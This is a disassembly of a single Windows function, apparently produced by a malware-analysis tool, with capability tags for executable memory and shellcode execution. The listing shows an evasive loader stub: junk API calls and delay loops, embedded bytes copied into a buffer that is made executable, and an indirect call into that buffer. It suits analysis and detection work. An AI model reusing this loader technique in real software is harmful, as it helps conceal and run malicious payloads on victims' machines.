Function at 0x403c9e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403ccb
inc edi
cmp edi, 0x67d12
jl 0x403cae
cmp dword [0x283b71c], 0x93
jne 0x403da6
push 0x40380c
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403818
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403830
push 0x40383c
push 0x403854
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00404134
pop ecx
push esi
push 0x403792
push 0x458728
call fcn.004041e0
add esp, 0xc
push esi
push esi
call fcn.0040492a
push esi
call fcn.004048f0
add esp, 0xc
push esi
push esi
call fcn.0040491f
pop ecx
pop ecx
mov eax, dword [0x443b5c]
add dword [0x283b71c], 0x1134b
push 0x40386c
mov dword [0x283c558], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40387c
push eax
mov dword [0x283b1ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x283b71c]
mov dword [0x283b1a0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x283b71c]
mov dword [0x283b1a8], eax
push eax
call dword [0x283b1a0]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call ebx
dec edi
jne 0x403e0b
cmp dword [0x283b71c], esi
jbe 0x403e86
mov eax, dword [0x283c558]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283b1a8]
mov byte [ecx + edi], al
cmp dword [0x283b71c], 0x490
jne 0x403e7d
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283b71c]
jb 0x403e2f
xor edi, edi
mov eax, dword [0x283b71c]
add eax, edi
cmp eax, 0x8d
jne 0x403ec7
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x40388c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x403890
push 0x4038d8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403e88
call fcn.00403bc5
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x403ef2
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x11469
mov eax, dword [ebp - 8]
add dword [0x283b1a8], eax
inc edi
cmp edi, 0x674bd
jl 0x403ed7
push 0x7b
pop edi
cmp dword [0x283b71c], 0x86
jne 0x403f39
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4038c4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403efe
push 0x403918
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x283b1a8]
pop edi
pop esi
pop ebx
leave
ret